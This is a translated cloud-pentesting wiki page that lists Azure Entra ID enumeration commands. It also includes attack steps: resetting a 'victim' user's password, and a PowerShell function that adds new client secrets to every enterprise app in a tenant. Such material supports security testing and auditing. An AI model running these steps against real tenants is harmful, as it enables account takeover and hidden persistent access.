# Az - Entra ID (AzureAD) & Azure IAM

{{#include ../../../banners/hacktricks-training.md}}

## Basiese Inligting

Azure Active Directory (Azure AD) dien as Microsoft se wolkgebaseerde diens vir identiteit- en toegangsbestuur. Dit speel 'n sleutelrol om werknemers in staat te stel om aan te meld en toegang tot hulpbronne te kry, beide binne en buite die organisasie, insluitend Microsoft 365, die Azure-portaal, en 'n menigte ander SaaS-toepassings. Die ontwerp van Azure AD fokus op die lewering van essensiële identiteitdienste, veral insluitend **authentication, authorization, and user management**.

Belangrike kenmerke van Azure AD sluit in **multi-factor authentication** en **conditional access**, tesame met naatlose integrasie met ander Microsoft-sekuriteitsdienste. Hierdie kenmerke verhoog die veiligheid van gebruikersidentiteite aansienlik en stel organisasies in staat om hul toegangsbeleid effektief te implementeer en af te dwing. As 'n fundamentele komponent van Microsoft se wolkdienste-ekosisteem, is Azure AD sentraal vir die wolkgebaseerde bestuur van gebruikersidentiteite.

## Enumeration

### **Verbinding**

{{#tabs }}
{{#tab name="az cli" }}
```bash
az login #This will open the browser (if not use --use-device-code)
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity

# Login as service principal
## With password
az login --service-principal -u <application ID> -p VerySecret --tenant contoso.onmicrosoft.com # Tenant can also be the tenant UUID
## With cert
az login --service-principal -u <application ID> -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples
```
{{#endtab }}

{{#tab name="Mg" }}
```bash
# Login Open browser
Connect-MgGraph

# Login with service principal secret
## App ID and Tenant ID of your Azure AD App Registration
$appId = "<appId>"
$tenantId = "<tenantId>"
$clientSecret = "<clientSecret>"
## Convert the client secret to a SecureString
$secureSecret = ConvertTo-SecureString -String $clientSecret -AsPlainText -Force
## Create a PSCredential object
$credential = New-Object System.Management.Automation.PSCredential ($appId, $secureSecret)
## Connect using client credentials
Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $credential

# Login with token
$token = (az account get-access-token --resource https://graph.microsoft.com --query accessToken -o tsv)
$secureToken = ConvertTo-SecureString $token -AsPlainText -Force
Connect-MgGraph -AccessToken $secureToken

# Get token from session
Parameters = @{
Method     = "GET"
Uri        = "/v1.0/me"
OutputType = "HttpResponseMessage"
}
$Response = Invoke-MgGraphRequest @Parameters
$Headers = $Response.RequestMessage.Headers
$Headers.Authorization.Parameter


# Find commands
Find-MgGraphCommand -command *Mg*
```
{{#endtab }}

{{#tab name="Az" }}
```bash
Connect-AzAccount #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("test@corp.onmicrosoft.com", $passwd)
Connect-AzAccount -Credential $creds

# Get Access Token
# Request access token to other endpoints: AadGraph, AnalysisServices, Arm, Attestation, Batch, DataLake, KeyVault, MSGraph, OperationalInsights, ResourceManager, Storage, Synapse
(ConvertFrom-SecureString (Get-AzAccessToken -ResourceTypeName Arm -AsSecureString).Token -AsPlainText)

# Connect with access token
Connect-AzAccount -AccountId test@corp.onmicrosoft.com [-AccessToken $ManagementToken] [-GraphAccessToken $AADGraphToken] [-MicrosoftGraphAccessToken $MicrosoftGraphToken] [-KeyVaultAccessToken $KeyVaultToken]
# If connecting with some metadata token, in "-AccountId" put the OID of the managed identity (get it from the JWT token)

# Connect with Service principal/enterprise app secret
$password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force
$creds = New-Object
System.Management.Automation.PSCredential('2923847f-fca2-a420-df10-a01928bec653', $password)
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 29sd87e56-a192-a934-bca3-0398471ab4e7d

#All the Azure AD cmdlets have the format *-AzAD*
Get-Command *azad*
#Cmdlets for other Azure resources have the format *Az*
Get-Command *az*
```
{{#endtab }}

{{#tab name="Raw PS" }}
```bash
#Using management
$Token = 'eyJ0eXAi..'
# List subscriptions
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method  = 'GET'
Uri     = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# Using graph
Invoke-WebRequest -Uri "https://graph.windows.net/myorganization/users?api-version=1.6" -Headers @{Authorization="Bearer {0}" -f $Token}
```
{{#endtab }}

{{#tab name="curl" }}
```bash
# Request tokens to access endpoints
# ARM
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# Vault
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
```
{{#endtab }}
{{#tab name="MS Graph" }}
```bash
Get-MgTenantRelationshipDelegatedAdminCustomer
# Install the Microsoft Graph PowerShell module if not already installed
Install-Module Microsoft.Graph -Scope CurrentUser

# Import the module
Import-Module Microsoft.Graph

# Login to Microsoft Graph
Connect-MgGraph -Scopes "User.Read.All", "Group.Read.All", "Directory.Read.All"

# Enumerate available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph*

# Example: List users
Get-MgUser -All

# Example: List groups
Get-MgGroup -All

# Example: Get roles assigned to a user
Get-MgUserAppRoleAssignment -UserId <UserId>

# Disconnect from Microsoft Graph
Disconnect-MgGraph
```
{{#endtab }}

{{#tab name="Azure AD" }}
```bash
Connect-AzureAD #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds

# Using tokens
## AzureAD cannot request tokens, but can use AADGraph and MSGraph tokens to connect
Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
```
{{#endtab }}
{{#endtabs }}

Wanneer jy **login** via **CLI** in **Azure** met enige program, gebruik jy 'n **Azure Application** van 'n **tenant** wat aan **Microsoft** behoort. Hierdie Applications, soos dié wat jy in jou rekening kan skep, **het 'n client id**. Jy **sal nie al hulle kan sien** in die **toegelate toepassingslyste** wat jy in die console sien nie, **maar hulle is standaard toegelaat**.

Byvoorbeeld, 'n **powershell script** wat **authenticates** gebruik 'n app met client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Selfs al verskyn die app nie in die console nie, kan 'n sysadmin daardie App **blokkeer** sodat gebruikers nie via gereedskap wat deur daardie App verbind nie, toegang kry.

Daar is egter **ander client-ids** van toepassings wat jou **toelaat om met Azure te verbind**:
```bash
# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
```
### Huurders

{{#tabs }}
{{#tab name="az cli" }}
```bash
# List tenants
az account tenant list
```
{{#endtab }}
{{#endtabs }}

### Gebruikers

Vir meer inligting oor Entra ID-gebruikers, sien:

{{#ref}}
../az-basic-information/
{{#endref}}

{{#tabs }}
{{#tab name="az cli" }}
```bash
# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from Entra ID
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user in Azure (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --assignee <email>
# Get ALL roles assigned in Azure in the current subscription (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --all

# Get EntraID roles assigned to a user
## Get Token
export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv)
## Get users
curl -X GET "https://graph.microsoft.com/v1.0/users" \
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
## Get EntraID roles assigned to an user
curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \
-H "Authorization: Bearer $TOKEN" \
-H "ConsistencyLevel: eventual" \
-H "Content-Type: application/json" | jq
## Get role details
curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefinitions/cf1c38e5-3621-4004-a7cb-879624dced7c" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" | jq
```
{{#endtab }}

{{#tab name="MS Graph" }}
```bash
# Enumerate users using Microsoft Graph PowerShell
Get-MgUser -All

# Get user details
Get-MgUser -UserId "test@corp.onmicrosoft.com" | Format-List *

# Search "admin" users
Get-MgUser -All | Where-Object { $_.DisplayName -like "*test*" } | Select-Object DisplayName

# Search attributes containing the word "password"
Get-MgUser -All | Where-Object { $_.AdditionalProperties.PSObject.Properties.Name -contains "password" }

# All users from Entra ID
Get-MgUser -Filter "startswith(userPrincipalName, 't')" -All | Select-Object DisplayName, UserPrincipalName

# Get groups where the user is a member
Get-MgUserMemberOf -UserId <UserId>

# Get roles assigned to the user in Entra ID
Get-MgUserAppRoleAssignment -UserId <UserId>

# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Users
```
{{#endtab }}

{{#tab name="Azure AD" }}
```bash
# Enumerate Users
Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
# Get info of 1 user
Get-AzureADUser -ObjectId test@corp.onmicrosoft.com | fl
# Search "admin" users
Get-AzureADUser -SearchString "admin" #Search admin at the begining of DisplayName or userPrincipalName
Get-AzureADUser -All $true |?{$_.Displayname -match "admin"} #Search "admin" word in DisplayName
# Get all attributes of a user
Get-AzureADUser -ObjectId test@defcorphq.onmicrosoft.com|%{$_.PSObject.Properties.Name}
# Search attributes containing the word "password"
Get-AzureADUser -All $true |%{$Properties = $_;$Properties.PSObject.Properties.Name | % {if ($Properties.$_ -match 'password') {"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}}
# All users from AzureAD# All users from AzureAD
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All users synced from on-prem
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Objects created by a/any user
Get-AzureADUser [-ObjectId <email>] | Get-AzureADUserCreatedObject
# Devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Objects owned by a specific user
Get-AzureADUserOwnedObject -ObjectId test@corp.onmicrosoft.com
# Get groups & roles where the user is a member
Get-AzureADUserMembership -ObjectId 'test@corp.onmicrosoft.com'
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get devices registered by a user
Get-AzureADUserRegisteredDevice -ObjectId test@defcorphq.onmicrosoft.com
# Apps where a user has a role (role not shown)
Get-AzureADUser -ObjectId roygcain@defcorphq.onmicrosoft.com | Get-AzureADUserAppRoleAssignment | fl *
# Get Administrative Units of a user
$userObj = Get-AzureADUser -Filter "UserPrincipalName eq 'bill@example.com'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where { $_.Id -eq $userObj.ObjectId } }
```
{{#endtab }}

{{#tab name="Az" }}
```bash
# Enumerate users
Get-AzADUser
# Get details of a user
Get-AzADUser -UserPrincipalName test@defcorphq.onmicrosoft.com
# Search user by string
Get-AzADUser -SearchString "admin" #Search at the beginnig of DisplayName
Get-AzADUser | ?{$_.Displayname -match "admin"}
# Get roles assigned to a user
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
```
{{#endtab }}
{{#endtabs }}

#### Verander wagwoord van gebruiker
```bash
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
```
### MFA & Conditional Access Policies

Dit word sterk aanbeveel om MFA by elke gebruiker te voeg, maar sommige maatskappye sal dit nie instel nie of kan dit met 'n Conditional Access instel: Die gebruiker sal **MFA benodig as** hy vanaf 'n spesifieke ligging, blaaier of **'n sekere voorwaarde** aanmeld. Hierdie beleide, as dit nie korrek gekonfigureer is nie, kan vatbaar wees vir **bypasses**. Kyk:

{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}

### Groepe

Vir meer inligting oor Entra ID-groepe, kyk:

{{#ref}}
../az-basic-information/
{{#endref}}

{{#tabs }}
{{#tab name="az cli" }}
```bash
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from Entra ID
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get roles assigned to the group in Azure (NOT in Entra ID)
az role assignment list --include-groups --include-classic-administrators true --assignee <group-id>

# To get Entra ID roles assigned check how it's done with users and use a group ID
```
{{#endtab }}

{{#tab name="Az" }}
```bash
# Get all groups
Get-AzADGroup
# Get details of a group
Get-AzADGroup -ObjectId <id>
# Search group by string
Get-AzADGroup -SearchString "admin" | fl * #Search at the beginnig of DisplayName
Get-AzADGroup |?{$_.Displayname -match "admin"}
# Get members of group
Get-AzADGroupMember -GroupDisplayName <resource_group_name>
# Get roles of group
Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
```
{{#endtab }}
{{#tab name="MS Graph" }}
```bash
# Enumerate groups using Microsoft Graph PowerShell
Get-MgGroup -All

# Get group details
Get-MgGroup -GroupId <GroupId> | Format-List *

# Search "admin" groups
Get-MgGroup -All | Where-Object { $_.DisplayName -like "*admin*" } | Select-Object DisplayName

# Get members of a group
Get-MgGroupMember -GroupId <GroupId> -All

# Get groups a group is member of
Get-MgGroupMemberOf -GroupId <GroupId>

# Get roles assigned to the group in Entra ID
Get-MgGroupAppRoleAssignment -GroupId <GroupId>

# Get group owner
Get-MgGroupOwner -GroupId <GroupId>

# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Groups
```
{{#endtab }}
{{#tab name="Azure AD" }}
```bash
# Enumerate Groups
Get-AzureADGroup -All $true
# Get info of 1 group
Get-AzADGroup -DisplayName <resource_group_name> | fl
# Get "admin" groups
Get-AzureADGroup -SearchString "admin" | fl #Groups starting by "admin"
Get-AzureADGroup -All $true |?{$_.Displayname -match "admin"} #Groups with the word "admin"
# Get groups allowing dynamic membership
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}
# All groups that are from Azure AD
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All groups that are synced from on-prem (note that security groups are not synced)
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Get members of a group
Get-AzureADGroupMember -ObjectId <group_id>
# Get roles of group
Get-AzureADMSGroup -SearchString "Contoso_Helpdesk_Administrators" #Get group id
Get-AzureADMSRoleAssignment -Filter "principalId eq '69584002-b4d1-4055-9c94-320542efd653'"
# Get Administrative Units of a group
$groupObj = Get-AzureADGroup -Filter "displayname eq 'TestGroup'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where {$_.Id -eq $groupObj.ObjectId} }
# Get Apps where a group has a role (role not shown)
Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
```
{{#endtab }}
{{#endtabs }}

#### Voeg gebruiker by groep

Eienaars van die groep kan nuwe gebruikers by die groep voeg.
```bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> Groepe kan dinamies wees, wat basies beteken dat **as 'n gebruiker aan sekere voorwaardes voldoen, sal hy by 'n groep gevoeg word**. Uiteraard, as die voorwaardes gebaseer is op **attribuute** wat 'n **gebruiker** kan **beheer**, kan hy hierdie funksie misbruik om **in ander groepe in te kom**.\
> Kyk hoe om dinamiese groepe te misbruik op die volgende bladsy:

{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
{{#endref}}

### Service Principals

Vir meer inligting oor Entra ID service principals, sien:

{{#ref}}
../az-basic-information/
{{#endref}}

{{#tabs }}
{{#tab name="az cli" }}
```bash
# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName,appId]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine

# Get SPs with generated secret or certificate
az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
```
{{#endtab }}

{{#tab name="Az" }}
```bash
# Get SPs
Get-AzADServicePrincipal
# Get info of 1 SP
Get-AzADServicePrincipal -ObjectId <id>
# Search SP by string
Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"}
# Get roles of a SP
Get-AzRoleAssignment -ServicePrincipalName <String>
```
{{#endtab }}

{{#tab name="Raw" }}
```bash
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method  = 'GET'
Uri     = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
```
{{#endtab }}
{{#tab name="MS Graph" }}
```bash
# Get Service Principals using Microsoft Graph PowerShell
Get-MgServicePrincipal -All

# Get details of one Service Principal
Get-MgServicePrincipal -ServicePrincipalId <ServicePrincipalId> | Format-List *

# Search SP by display name
Get-MgServicePrincipal -All | Where-Object { $_.DisplayName -like "*app*" } | Select-Object DisplayName

# Get owner of Service Principal
Get-MgServicePrincipalOwner -ServicePrincipalId <ServicePrincipalId>

# Get objects owned by a Service Principal
Get-MgServicePrincipalOwnedObject -ServicePrincipalId <ServicePrincipalId>

# Get groups where the SP is a member
Get-MgServicePrincipalMemberOf -ServicePrincipalId <ServicePrincipalId>

# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.ServicePrincipals
```
{{#endtab }}

{{#tab name="Azure AD" }}
```bash
# Get Service Principals
Get-AzureADServicePrincipal -All $true
# Get details about a SP
Get-AzureADServicePrincipal -ObjectId <id> | fl *
# Get SP by string name or Id
Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -match "app"} | fl
Get-AzureADServicePrincipal -All $true | ?{$_.AppId -match "103947652-1234-5834-103846517389"}
# Get owner of SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwner |fl *
# Get objects owned by a SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwnedObject
# Get objects created by a SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalCreatedObject
# Get groups where the SP is a member
Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembership |fl *
```
{{#endtab }}
{{#endtabs }}

> [!WARNING]
> Die Owner van 'n Service Principal kan die wagwoord verander.

<details>

<summary>Lys en probeer om 'n client secret aan elke Enterprise App toe te voeg</summary>
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
{
<#
.SYNOPSIS
Add client secret to the applications.

.PARAMETER GraphToken
Pass the Graph API Token

.EXAMPLE
PS C:\> Add-AzADAppSecret -GraphToken 'eyJ0eX..'

.LINK
https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http
https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http
#>

[CmdletBinding()]
param(
[Parameter(Mandatory=$True)]
[String]
$GraphToken = $null
)

$AppList = $null
$AppPassword = $null

# List All the Applications

$Params = @{
"URI"     = "https://graph.microsoft.com/v1.0/applications"
"Method"  = "GET"
"Headers" = @{
"Content-Type"  = "application/json"
"Authorization" = "Bearer $GraphToken"
}
}

try
{
$AppList = Invoke-RestMethod @Params -UseBasicParsing
}
catch
{
}

# Add Password in the Application

if($AppList -ne $null)
{
[System.Collections.ArrayList]$Details = @()

foreach($App in $AppList.value)
{
$ID = $App.ID
$psobj = New-Object PSObject

$Params = @{
"URI"     = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword"
"Method"  = "POST"
"Headers" = @{
"Content-Type"  = "application/json"
"Authorization" = "Bearer $GraphToken"
}
}

$Body = @{
"passwordCredential"= @{
"displayName" = "Password"
}
}

try
{
$AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json)
Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID
Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId
Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName
Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId
Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText
$Details.Add($psobj) | Out-Null
}
catch
{
Write-Output "Failed to add new client secret to '$($App.displayName)' Application."
}
}
if($Details -ne $null)
{
Write-Output ""
Write-Output "Client secret added to : "
Write-Output $Details | fl *
}
}
else
{
Write-Output "Failed to Enumerate the Applications."
}
}
```
</details>

### Toepassings

Vir meer inligting oor Toepassings kyk:

{{#ref}}
../az-basic-information/
{{#endref}}

Wanneer 'n App geskep word, word 3 tipes permissions gegee:

- **Permissions** gegee aan die **Service Principal** (via roles).
- **Permissions** wat die **app** kan hê en gebruik op **behalf of the user**.
- **API Permissions** wat die app permissions oor EntraID gee sonder om ander roles te vereis wat hierdie permissions toeken.

{{#tabs }}
{{#tab name="az cli" }}
```bash
# List Apps
az ad app list
az ad app list --query "[].[displayName,appId]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# Get SPs owned by current user
az ad app list --show-mine
# Get apps with generated secret or certificate
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
# Get Global Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
# Get Application Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
# Get Cloud Applications Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Vind alle toepassings se API-magtigings en merk Microsoft-beheerde APIs (az cli)</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail

# Known Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=(
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
"72f988bf-86f1-41af-91ab-2d7cd011db47"
)

is_microsoft_owner() {
local owner="$1"
local id
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
if [ "$owner" = "$id" ]; then
return 0
fi
done
return 1
}

get_permission_value() {
local resource_app_id="$1"
local perm_type="$2"
local perm_id="$3"
local key value
key="${resource_app_id}|${perm_type}|${perm_id}"

value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")"
if [ -n "$value" ]; then
printf '%s\n' "$value"
return 0
fi

if [ "$perm_type" = "Scope" ]; then
value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
elif [ "$perm_type" = "Role" ]; then
value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
else
value=""
fi

[ -n "$value" ] || value="UNKNOWN"
printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache"
printf '%s\n' "$value"
}

command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null

apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"

tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
tmp_perm_cache="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT

# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"

# Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do
[ -n "$rid" ] || continue
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"

echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions"

# Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"

while IFS= read -r rra; do
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"

[ -n "$owner_org" ] || owner_org="UNKNOWN"
[ -n "$resource_name" ] || resource_name="UNKNOWN"

if is_microsoft_owner "$owner_org"; then
is_ms="true"
else
is_ms="false"
fi

permissions_csv=""
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")"
perm_label="${perm_type}:${perm_value}"
if [ -z "$permissions_csv" ]; then
permissions_csv="$perm_label"
else
permissions_csv="${permissions_csv},${perm_label}"
fi
done < <(jq -c '.resourceAccess[]' <<<"$rra")

echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}"
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
</details>

